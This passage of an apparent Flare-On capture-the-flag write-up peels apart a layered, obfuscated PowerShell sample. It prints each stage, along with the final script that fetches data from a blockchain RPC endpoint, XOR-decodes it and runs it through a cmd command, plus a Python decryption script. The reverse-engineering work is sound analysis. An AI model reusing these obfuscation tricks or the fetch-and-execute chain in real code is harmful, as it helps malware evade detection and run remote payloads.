39
40
41
42
43
44
(("{39}{64}{57}{45}{70}{59}{9}{66}{0}{31}{21}{50}{6}{56}{5}{22}{69}{71}{43}{60}{8}{35}{68}{44}{1}{19}{41}{30}{67}{38}{18}{7}{33}{54}{63}{34}{61}{24}{48}{4}{47}{3}{40}{51}{26}{42}{15}{37}{12}{10}{11}{52}{14}{23}{29}{53}{25}{16}{49}{55}{62}{36}{27}{28}{13}{17}{46}{20}{2}{65}{58}{32}"-f 'CSAKoY+K','xed','P dKoY+KoYohteM- doKoY+KoYhteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS  
)1aP}Iz70.2Iz7:Iz7cprnosjIzKoY+KoY7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,KoY+KoYIz7sserddaK6fIz7:Iz7otIz7KoY+KoY{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7d','aBmorFsKoY+KoYetybK6f(gnirtSteKoY+KoYG.8FTU::]gniKoY+KoYdocnE.txeKoY+KoYT.metsyS[( KoY+KoYeulaV- KoY+KoYiicsAtluser emaN-KoY+KoY elbairaV-teS  
))2setybK6f(gniKoY+KoYrtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb ema','tamroF #  _K6f f- 1aP}2X:0{1aP  
{ tcejbO-hcaEroF sOI ii','KoY+KoYab tlKoY+KoYuKoY+KoYser eht trevnoC #  
}  
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb-','teS  
)gnidocne IICSA gnimussa( gnirts','KoY+KoYV-','eT[( eulaV- 5setyb emaN- elbairaV-teS  
)}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBo','c[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)KoY  
dnammocK6f noisserpxE-ekovnI  
)Iz7galfZjWZjW:C f- 1aPgaKoY+KoYlfZjWZjW:C > gnirtStlKoY+KoYuserK6KoY+KoYf ohce c/ dm','N- ','elbai','yb ema',')tl','.rebmuNxehK6f(etyBoT::]trevnoC[  ','0setybK6f(gni','Y+KoYcejbO-hcaEroFKoY+KoY sOI )1','user.)ydob_K6f ydoB- Iz7nosj/noitacil','usne( setyb ot xeh KoY+KoYmorf trevnoC #  
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f(KoY+KoY eula','nItrats em','noKoY+KoYC- tniopdne_tentsetK6f irU- 1aPtsoP1a','eT.metsyS[( eulaV- gnirtStluser emaN-',' ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- ','KoY+KoY  
)1 + xednKoY+KoYItratsK6f( eu','eS  
)}  
srettel esacrKoY+KoYeppu htiw xeh tigid-',' KoY+KoYtKo','ulaV','f( eulaV','- rebmuNxeh emaN- elbairaV-teS  
xiferp 1aPx01aP eht evomeR KoY+KoY#  
  
','laV- xednIdne KoY+KoYema','F sOI )1 ','oY::]gnidocnE.tx','eSKoY( G62,KoY.KoY ,KoYriGHTToLeftKoY) DF9%{X2j_ } )+G62 X2j(set-ITEM  KoYvArIAbLE:oFSKoY KoY KoY )G62) ',' setyBxeh em','etirW#  
 )1aP 1aP KoY+KoYnioj- setyBxehK6f( eulaV- gnirtSxehKoY+KoY emaN- elbairaKoY+KoY','T::]trevnoC[  
)1 + xednItra','alper- pserK6','rtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1set','elbairaV-tKoY+KoYeS  
)sretcarahc xeh fo sriap gnir','. ( X2jEnV:coMspec[4,26,25]-jOInKoYKoY)(G62X2j(set-iTem KoYVAriABle:OfSKoY  KoYKoY )G62 + ( [STrinG][REGEx]:','N- elbairaV-teS  
sety','aN- elbairaV-teS  
{ tcejbO-hcaEro','- 2setyb emaN- eKoY+KoYlbairaV-teS  
))',' eht mrofreP ','ne emaN- elbairKoY+KoYaV-teS  
)2 * _K6f( eulaV- ','-]2,11,3[EmAN.)KoY*rdm*KoY ElBAIrav((.DF9)421]RAHc[]GnIRTS[,KoYsOIKoY(EcALPER.)','ppaIz7 epyTtnet','csAtlKoY+KoYuserK6f( euKoY+KoYlaV- setyBxeh emaN- elbairaV-teS  
))46es','owt sa etyb hcae ',' - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS  
)sretcarahc xeh fo sriap gnirusne(K',' elbairaV-','b ot 46esab morf trevnoC #  
  
))881 ,46(gnirtsbuS.1setybK6f( e','raV-teS  
 )}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS','N- elbairaV-teS  
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS  
{','aN-','oY+KoY setyb ot xeh morf trevnoC #  
)1aP1',' a ot kc','YNIoJ','aN- elbairaV-t','cALPER.)KoYaVIKoY,)09]RAHc[+601]RAHc[+78]RAH','#  
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-teKoY+KoYS  
setyb ot yek eht trevnoC #  
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.tx','V-t','aP ,1aPx01aP ec',' elbairaV-teS  
gnirtSxKoY+KoYehK6f tuKoY+KoYptuO-',':MATCHeS(G62)KoYKo','ohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS  
)Iz7 Iz7( eulaV-KoY+KoY tniKoY+KoYopdne_tentset em','c1aP maKoY+KoYrgorp-sserpmoc-esu-- x- ratIzKoY+KoY7( eulaV-KoY+KoY dnammoc emaKoY+KoYN- elbairaV-teS  
  
))setyBtluserK6f(gnirtSteGKoY+KoY.II','- 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- ','tsK6f( eulaV- xednId','setyBtluser emaN- ','43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((E','elbairaVKoY+KoY-teS  
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof  
))(@( eulaV- setyBtluser emaN- KoY+KoYelbairaV-teS  
noitarepo ROX')).REpLACE('DF9','|').REpLACE('KoY',[STrinG][cHaR]39).REpLACE(([cHaR]71+[cHaR]54+[cHaR]50),[STrinG][cHaR]34).REpLACE('X2j','$').REpLACE('aVI',[STrinG][cHaR]92) | &( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')

Second Stage

It’s a bit hard to see the nesting, but essentially the code is of the following form:

1
a large string with some transformations applied to it | &( ([stRing]$VErboSEpRefeReNCe)[1,3]+'X'-joiN'')

The pipe operator does the same as in bash. There’s a join of several strings here: if we echo the first one, [stRing]$VErboSEpRefeReNCe)[1,3], we see that it is equal to ie. This string is then joined with X, yielding ieX, which is an alias for Invoke-Expression in Powershell. To get the third stage, therefore, we’ll just need to echo the part before the pipe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
echo (("{39}{64}{57}{45}{70}{59}{9}{66}{0}{31}{21}{50}{6}{56}{5}{22}{69}{71}{43}{60}{8}{35}{68}{44}{1}{19}{41}{30}{67}{38}{18}{7}{33}{54}{63}{34}{61}{24}{48}{4}{47}{3}{40}{51}{26}{42}{15}{37}{12}{10}{11}{52}{14}{23}{29}{53}{25}{16}{49}{55}{62}{36}{27}{28}{13}{17}{46}{20}{2}{65}{58}{32}"-f 'CSAKoY+K','xed','P dKoY+KoYohteM- doKoY+KoYhteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS  
)1aP}Iz70.2Iz7:Iz7cprnosjIzKoY+KoY7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,KoY+KoYIz7sserddaK6fIz7:Iz7otIz7KoY+KoY{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7d','aBmorFsKoY+KoYetybK6f(gnirtSteKoY+KoYG.8FTU::]gniKoY+KoYdocnE.txeKoY+KoYT.metsyS[( KoY+KoYeulaV- KoY+KoYiicsAtluser emaN-KoY+KoY elbairaV-teS  
))2setybK6f(gniKoY+KoYrtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb ema','tamroF #  _K6f f- 1aP}2X:0{1aP  
{ tcejbO-hcaEroF sOI ii','KoY+KoYab tlKoY+KoYuKoY+KoYser eht trevnoC #  
}  
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb-','teS  
)gnidocne IICSA gnimussa( gnirts','KoY+KoYV-','eT[( eulaV- 5setyb emaN- elbairaV-teS  
)}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBo','c[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)KoY  
dnammocK6f noisserpxE-ekovnI  
)Iz7galfZjWZjW:C f- 1aPgaKoY+KoYlfZjWZjW:C > gnirtStlKoY+KoYuserK6KoY+KoYf ohce c/ dm','N- ','elbai','yb ema',')tl','.rebmuNxehK6f(etyBoT::]trevnoC[  ','0setybK6f(gni','Y+KoYcejbO-hcaEroFKoY+KoY sOI )1','user.)ydob_K6f ydoB- Iz7nosj/noitacil','usne( setyb ot xeh KoY+KoYmorf trevnoC #  
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f(KoY+KoY eula','nItrats em','noKoY+KoYC- tniopdne_tentsetK6f irU- 1aPtsoP1a','eT.metsyS[( eulaV- gnirtStluser emaN-',' ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- ','KoY+KoY  
)1 + xednKoY+KoYItratsK6f( eu','eS  
)}  
srettel esacrKoY+KoYeppu htiw xeh tigid-',' KoY+KoYtKo','ulaV','f( eulaV','- rebmuNxeh emaN- elbairaV-teS  
xiferp 1aPx01aP eht evomeR KoY+KoY#  
  
','laV- xednIdne KoY+KoYema','F sOI )1 ','oY::]gnidocnE.tx','eSKoY( G62,KoY.KoY ,KoYriGHTToLeftKoY) DF9%{X2j_ } )+G62 X2j(set-ITEM  KoYvArIAbLE:oFSKoY KoY KoY )G62) ',' setyBxeh em','etirW#  
 )1aP 1aP KoY+KoYnioj- setyBxehK6f( eulaV- gnirtSxehKoY+KoY emaN- elbairaKoY+KoY','T::]trevnoC[  
)1 + xednItra','alper- pserK6','rtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1set','elbairaV-tKoY+KoYeS  
)sretcarahc xeh fo sriap gnir','. ( X2jEnV:coMspec[4,26,25]-jOInKoYKoY)(G62X2j(set-iTem KoYVAriABle:OfSKoY  KoYKoY )G62 + ( [STrinG][REGEx]:','N- elbairaV-teS  
sety','aN- elbairaV-teS  
{ tcejbO-hcaEro','- 2setyb emaN- eKoY+KoYlbairaV-teS  
))',' eht mrofreP ','ne emaN- elbairKoY+KoYaV-teS  
)2 * _K6f( eulaV- ','-]2,11,3[EmAN.)KoY*rdm*KoY ElBAIrav((.DF9)421]RAHc[]GnIRTS[,KoYsOIKoY(EcALPER.)','ppaIz7 epyTtnet','csAtlKoY+KoYuserK6f( euKoY+KoYlaV- setyBxeh emaN- elbairaV-teS  
))46es','owt sa etyb hcae ',' - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS  
)sretcarahc xeh fo sriap gnirusne(K',' elbairaV-','b ot 46esab morf trevnoC #  
  
))881 ,46(gnirtsbuS.1setybK6f( e','raV-teS  
 )}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS','N- elbairaV-teS  
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS  
{','aN-','oY+KoY setyb ot xeh morf trevnoC #  
)1aP1',' a ot kc','YNIoJ','aN- elbairaV-t','cALPER.)KoYaVIKoY,)09]RAHc[+601]RAHc[+78]RAH','#  
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-teKoY+KoYS  
setyb ot yek eht trevnoC #  
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.tx','V-t','aP ,1aPx01aP ec',' elbairaV-teS  
gnirtSxKoY+KoYehK6f tuKoY+KoYptuO-',':MATCHeS(G62)KoYKo','ohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS  
)Iz7 Iz7( eulaV-KoY+KoY tniKoY+KoYopdne_tentset em','c1aP maKoY+KoYrgorp-sserpmoc-esu-- x- ratIzKoY+KoY7( eulaV-KoY+KoY dnammoc emaKoY+KoYN- elbairaV-teS  
  
))setyBtluserK6f(gnirtSteGKoY+KoY.II','- 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- ','tsK6f( eulaV- xednId','setyBtluser emaN- ','43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((E','elbairaVKoY+KoY-teS  
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof  
))(@( eulaV- setyBtluser emaN- KoY+KoYelbairaV-teS  
noitarepo ROX')).REpLACE('DF9','|').REpLACE('KoY',[STrinG][cHaR]39).REpLACE(([cHaR]71+[cHaR]54+[cHaR]50),[STrinG][cHaR]34).REpLACE('X2j','$').REpLACE('aVI',[STrinG][cHaR]92)

Third Stage

The payload for this stage is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
. ( $EnV:coMspec[4,26,25]-jOIn'')("$(set-iTem 'VAriABle:OfS'  '' )" + ( [STrinG][REGEx]::MATCHeS(")''NIoJ-]2,11,3[EmAN.)'*rdm*' ElBAIrav((.|)421]RAHc[]GnIRTS[,'sOI'(EcALPER.)43]RAHc[]GnIRTS[,)37]RAHc[+221]RAHc[+55]RAHc[((EcALPER.)'\',)09]RAHc[+601]RAHc[+78]RAHc[((EcALPER.)93]RAHc[]GnIRTS[,)94]RAHc[+79]RAHc[+08]RAHc[((EcALPER.)63]RAHc[]GnIRTS[,)57]RAHc[+45]RAHc[+201]RAHc[((EcALPER.)'  
dnammocK6f noisserpxE-ekovnI  
)Iz7galfZjWZjW:C f- 1aPga'+'lfZjWZjW:C > gnirtStl'+'userK6'+'f ohce c/ dmc1aP ma'+'rgorp-sserpmoc-esu-- x- ratIz'+'7( eulaV-'+' dnammoc ema'+'N- elbairaV-teS  
  
))setyBtluserK6f(gnirtSteG'+'.IICSA'+'::]gnidocnE.txeT.metsyS[( eulaV- gnirtStluser emaN- elbairaV-teS  
)gnidocne IICSA gnimussa( gnirts a ot kc'+'ab tl'+'u'+'ser eht trevnoC #  
}  
 ))]htgneL.setyByekK6f % iK6f[setyByekK6f roxb- ]iK6f[5setybK6f( + setyBtluserK6f( eulaV- setyBtluser emaN- elbairaV'+'-teS  
{ )++iK6f ;htgneL.5setybK6f tl- iK6f ;)0( eulaV- i emaN- elbairaV-teS( rof  
))(@( eulaV- setyBtluser emaN- '+'elbairaV-teS  
noitarepo ROX eht mrofreP #  
))Iz742NOERALFIz7(setyBteG.IICSA::]gnidocnE.txeT[( eulaV- setyByek emaN- elbairaV-te'+'S  
setyb ot yek eht trevnoC #  
))3setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT[( eulaV- 5setyb emaN- elbairaV-teS  
)}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS.setyBxehK6f(etyBoT::]trevnoC[  
)1 + xednItratsK6f( eulaV- xednIdne emaN- elbair'+'aV-teS  
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS  
{ tcejbO-hcaEroF sOI )1 - 2 / htgneL.setyBxehK6f(..0( eulaV- 3setyb emaN- elbairaV-t'+'eS  
)sretcarahc xeh fo sriap gnirusne( setyb ot xeh '+'morf trevnoC #  
)Iz7Iz7 ,Iz7 Iz7 ecalper- setyBxehK6f('+' eula'+'V- setyBxeh emaN- elbairaV-teS  
gnirtSx'+'ehK6f tu'+'ptuO-etirW#  
 )1aP 1aP '+'nioj- setyBxehK6f( eulaV- gnirtSxeh'+' emaN- elbaira'+'V-teS  
)}  
srettel esacr'+'eppu htiw xeh tigid-owt sa etyb hcae tamroF #  _K6f f- 1aP}2X:0{1aP  
{ tcejbO-hcaEroF sOI iicsAtl'+'userK6f( eu'+'laV- setyBxeh emaN- elbairaV-teS  
))46esaBmorFs'+'etybK6f(gnirtSte'+'G.8FTU::]gni'+'docnE.txe'+'T.metsyS[( '+'eulaV- '+'iicsAtluser emaN-'+' elbairaV-teS  
))2setybK6f(gni'+'rtS46esaBmorF::]trevnoC[( eulaV- 46esaBmorFsetyb emaN- elbairaV-teS  
setyb ot 46esab morf trevnoC #  
  
))881 ,46(gnirtsbuS.1setybK6f( eulaV- 2setyb emaN- e'+'lbairaV-teS  
))0setybK6f(gnirtSteG.8FTU::]gnidocnE.txeT.metsyS[( eulaV- 1setyb emaN- elbairaV-teS  
 )}  
)61 ,)2 ,xednItratsK6f(gnirtsbuS.rebmuNxehK6f(etyBoT::]trevnoC[  '+'  
)1 + xedn'+'ItratsK6f( eulaV- xednIdne '+'emaN- elbairaV-teS  
)2 * _K6f( eulaV- xednItrats emaN- elbairaV-teS  
{ '+'t'+'cejbO-hcaEroF'+' sOI )1 - 2 / htgneL.rebmuNxehK6f(..0( eulaV- 0setyb emaN- elbairaV-teS  
)sretcarahc xeh fo sriap gnirusne('+' setyb ot xeh morf trevnoC #  
)1aP1aP ,1aPx01aP ecalper- pserK6f( eulaV- rebmuNxeh emaN- elbairaV-teS  
xiferp 1aPx01aP eht evomeR '+'#  
  
)tluser.)ydob_K6f ydoB- Iz7nosj/noitacilppaIz7 epyTtnetno'+'C- tniopdne_tentsetK6f irU- 1aPtsoP1aP d'+'ohteM- do'+'hteMtseR-ekovnI(( eulaV- pser emaN- elbairaV-teS  
)1aP}Iz70.2Iz7:Iz7cprnosjIz'+'7,1:Iz7diIz7,]KCOLB ,}Iz7bcf088c5x0Iz7:Iz7atadIz7,'+'Iz7sserddaK6fIz7:Iz7otIz7'+'{[:Iz7smarapIz7,Iz7llac_hteIz7:Iz7dohtemIz7{1aP( eulaV- ydob_ emaN- elbairaV-teS  
)Iz7 Iz7( eulaV-'+' tni'+'opdne_tentset emaN- elbairaV-teS'( ",'.' ,'riGHTToLeft') |%{$_ } )+" $(set-ITEM  'vArIAbLE:oFS' ' ' )")

This payload is of the form . (a large string). The dot operator, when used like this, evaluates the string inside and executes its output. Therefore, to get past this stage, we can simply replace the . with echo, yielding the payload below.

1
 ('Set-Variable -Name testnet_endpo'+'int '+'-Value (7zI 7zI)Set-Variable -Name _body -Value (Pa1{7zImethod7zI:7zIeth_call7zI,7zIparams7zI:[{'+'7zIto7zI:7zIf6Kaddress7zI'+',7zIdata7zI:7zI0x5c880fcb7zI}, BLOCK],7zIid7zI:1,7'+'zIjsonrpc7zI:7zI2.07zI}Pa1)Set-Variable -Name resp -Value ((Invoke-RestMeth'+'od -Metho'+'d Pa1PostPa1 -Uri f6Ktestnet_endpoint -C'+'ontentType 7zIapplication/json7zI -Body f6K_body).result)#'+' Remove the Pa10xPa1 prefixSet-Variable -Name hexNumber -Value (f6Kresp -replace Pa10xPa1, Pa1Pa1)# Convert from hex to bytes '+'(ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..(f6KhexNumber.Length / 2 - 1) IOs '+'ForEach-Objec'+'t'+' {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-Variable -Name'+' endIndex -Value (f6KstartI'+'ndex + 1)'+'  [Convert]::ToByte(f6KhexNumber.Substring(f6KstartIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString(f6Kbytes0))Set-Variabl'+'e -Name bytes2 -Value (f6Kbytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64Str'+'ing(f6Kbytes2))Set-Variable '+'-Name resultAscii'+' -Value'+' ([System.T'+'ext.Encod'+'ing]::UTF8.G'+'etString(f6Kbyte'+'sFromBase64))Set-Variable -Name hexBytes -Val'+'ue (f6Kresu'+'ltAscii IOs ForEach-Object {Pa1{0:X2}Pa1 -f f6K_  # Format each byte as two-digit hex with uppe'+'rcase letters})Set-V'+'ariable -Name '+'hexString -Value (f6KhexBytes -join'+' Pa1 Pa1) #Write-Outp'+'ut f6Khe'+'xStringSet-Variable -Name hexBytes -V'+'alue '+'(f6KhexBytes -replace 7zI 7zI, 7zI7zI)# Convert from'+' hex to bytes (ensuring pairs of hex characters)Se'+'t-Variable -Name bytes3 -Value (0..(f6KhexBytes.Length / 2 - 1) IOs ForEach-Object {Set-Variable -Name startIndex -Value (f6K_ * 2)Set-Va'+'riable -Name endIndex -Value (f6KstartIndex + 1)[Convert]::ToByte(f6KhexBytes.Substring(f6KstartIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString(f6Kbytes3))# Convert the key to bytesS'+'et-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes(7zIFLAREON247zI))# Perform the XOR operationSet-Variable'+' -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); f6Ki -lt f6Kbytes5.Length; f6Ki++) {Set-'+'Variable -Name resultBytes -Value (f6KresultBytes + (f6Kbytes5[f6Ki] -bxor f6KkeyBytes[f6Ki % f6KkeyBytes.Length])) }# Convert the res'+'u'+'lt ba'+'ck to a string (assuming ASCII encoding)Set-Variable -Name resultString -Value ([System.Text.Encoding]::'+'ASCII.'+'GetString(f6KresultBytes))Set-Variable -N'+'ame command '+'-Value (7'+'zItar -x --use-compress-progr'+'am Pa1cmd /c echo f'+'6Kresu'+'ltString > C:WjZWjZfl'+'agPa1 -f C:WjZWjZflag7zI)Invoke-Expression f6Kcommand').REPLAcE(([cHAR]102+[cHAR]54+[cHAR]75),[STRInG][cHAR]36).REPLAcE(([cHAR]80+[cHAR]97+[cHAR]49),[STRInG][cHAR]39).REPLAcE(([cHAR]87+[cHAR]106+[cHAR]90),'\').REPLAcE(([cHAR]55+[cHAR]122+[cHAR]73),[STRInG][cHAR]34).REPLAcE('IOs',[STRInG][cHAR]124)|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN'')

Fourth stage

The payload here is of the form large string|.((varIABlE '*mdr*').NAmE[3,11,2]-JoIN''). If we echo the string inside the dot operator after the pipe, we see that it is equal to iex, so the string before the pipe will be executed. Once again, we can just echo the string before the pipe, giving us the final stage!

1
Set-Variable -Name testnet_endpoint -Value (" ")Set-Variable -Name _body -Value ('{"method":"eth_call","params":[{"to":"$address","data":"0x5c880fcb"}, BLOCK],"id":1,"jsonrpc":"2.0"}')Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)# Remove the '0x' prefixSet-Variable -Name hexNumber -Value ($resp -replace '0x', '')# Convert from hex to bytes (ensuring pairs of hex characters)Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {Set-Variable -Name startIndex -Value ($_ * 2)Set-Variable -Name endIndex -Value ($startIndex + 1)  [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)}) Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))# Convert from base64 to bytesSet-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {'{0:X2}' -f $_  # Format each byte as two-digit hex with uppercase letters})Set-Variable -Name hexString -Value ($hexBytes -join ' ') #Write-Output $hexStringSet-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")# Convert from hex to bytes (ensuring pairs of hex characters)Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {Set-Variable -Name startIndex -Value ($_ * 2)Set-Variable -Name endIndex -Value ($startIndex + 1)[Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)})Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))# Convert the key to bytesSet-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))# Perform the XOR operationSet-Variable -Name resultBytes -Value (@())for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length])) }# Convert the result back to a string (assuming ASCII encoding)Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")Invoke-Expression $command

Nice! We finally deobfuscated all of the Powershell. The final code we got is all in one line, which makes it a bit hard to analyze, so I asked ChatGPT to beautify it, and it output a pretty good final result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
Set-Variable -Name testnet_endpoint -Value (" ")

Set-Variable -Name _body -Value ('{
    "method": "eth_call",
    "params": [
        {
            "to": "$address",
            "data": "0x5c880fcb"
        },
        BLOCK
    ],
    "id": 1,
    "jsonrpc": "2.0"
}')

Set-Variable -Name resp -Value ((Invoke-RestMethod -Method 'Post' -Uri $testnet_endpoint -ContentType "application/json" -Body $_body).result)

Set-Variable -Name hexNumber -Value ($resp -replace '0x', '')

Set-Variable -Name bytes0 -Value (0..($hexNumber.Length / 2 - 1) | ForEach-Object {
    Set-Variable -Name startIndex -Value ($_ * 2)
    Set-Variable -Name endIndex -Value ($startIndex + 1)
    [Convert]::ToByte($hexNumber.Substring($startIndex, 2), 16)
})

Set-Variable -Name bytes1 -Value ([System.Text.Encoding]::UTF8.GetString($bytes0))

Set-Variable -Name bytes2 -Value ($bytes1.Substring(64, 188))

Set-Variable -Name bytesFromBase64 -Value ([Convert]::FromBase64String($bytes2))

Set-Variable -Name resultAscii -Value ([System.Text.Encoding]::UTF8.GetString($bytesFromBase64))

Set-Variable -Name hexBytes -Value ($resultAscii | ForEach-Object {
    '{0:X2}' -f $_
})

Set-Variable -Name hexString -Value ($hexBytes -join ' ')

Set-Variable -Name hexBytes -Value ($hexBytes -replace " ", "")

Set-Variable -Name bytes3 -Value (0..($hexBytes.Length / 2 - 1) | ForEach-Object {
    Set-Variable -Name startIndex -Value ($_ * 2)
    Set-Variable -Name endIndex -Value ($startIndex + 1)
    [Convert]::ToByte($hexBytes.Substring($startIndex, 2), 16)
})

Set-Variable -Name bytes5 -Value ([Text.Encoding]::UTF8.GetString($bytes3))

Set-Variable -Name keyBytes -Value ([Text.Encoding]::ASCII.GetBytes("FLAREON24"))

Set-Variable -Name resultBytes -Value (@())

for (Set-Variable -Name i -Value (0); $i -lt $bytes5.Length; $i++) {
    Set-Variable -Name resultBytes -Value ($resultBytes + ($bytes5[$i] -bxor $keyBytes[$i % $keyBytes.Length]))
}

Set-Variable -Name resultString -Value ([System.Text.Encoding]::ASCII.GetString($resultBytes))

Set-Variable -Name command -Value ("tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag")

Invoke-Expression $command

On a high level, this code does the following:

  • Send an eth_call API request to a Binance Testnet RPC endpoint, where specifying the address and block number is left to us. The eth_call request calls a contract. The data passed is 0x5c880fcb, which is the id of the read method in the second contract we reversed. Therefore, the $address that should be called is the address of the second contract (0x5324eab94b236d4d1456edc574363b113cebf09d)

  • The data that is received from the contract is then XORed with the constant key FLAREON24, and the result is stored in the file C:\flag (this is done in the last two lines) Recall that the read method just returns whatever data was written into the storage of the contract at the time of the call. Since we don’t know the exact block number, we can just try decrypting the data written into the contract at each transaction (there’s ~20 such transactions) with the key from the final payload (FLAREON24). After some trial and error, we arrive at 4 transactions (one, two, three, and four), whose transaction data spell legible strings when decrypted with the key. We decrypt them using the following Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import base64

ct9 = b"MDEgMjMgMmUgMzYgNjUgM2IgMjYgNWIgNWEgMjEgNmMgMzUgM2EgMmMgM2MgNmUgNWIgNDcgNjYgMjMgMmYgNzIgMzEgMjcgMmIgMTIgNDAgMjMgM2YgMzUgM2MgMjAgM2I="
ct10 = b"MWYgMjkgMzUgNzIgMjggMjAgM2MgNTcgMTQgMjggMjMgMjggMjEgMjAgNmUgNmY="
ct11 = b"MGYgNmMgMzYgM2IgMzYgMjcgNmUgNDYgNWMgMmYgM2YgNjEgMjUgMjQgM2MgNmUgNDYgNWMgMjMgNmMgMjcgM2UgMjQgMjg=="
ct12 = b"MDggN2MgMzUgMGQgNzYgMzkgN2QgNWMgNmIgMDIgMWMgMTMgMTkgMWEgMjYgN2IgNmQgNjAgMmUgN2QgNzQgMGQgNzQgN2MgN2QgMDUgNmIgNzcgMjIgMWUgMDUgMjAgMmQgN2QgNzIgNTIgMmEgMmQgMzMgMzcgNjggMjAgMjAgMWMgNTcgMjkgMjE=="
KEY = b"FLAREON24"

hex_string_to_bytes = lambda s: bytes([int(x, 16) for x in s.split(b" ")])
decrypt = lambda ct: bytes([KEY[j % len(KEY)] ^ ct[j] for j in range(len(ct))])

ciphertexts = [ct9, ct10, ct11, ct12]
ciphertexts = [base64.decodebytes(ct) for ct in ciphertexts]
ciphertexts = [hex_string_to_bytes(ct) for ct in ciphertexts]
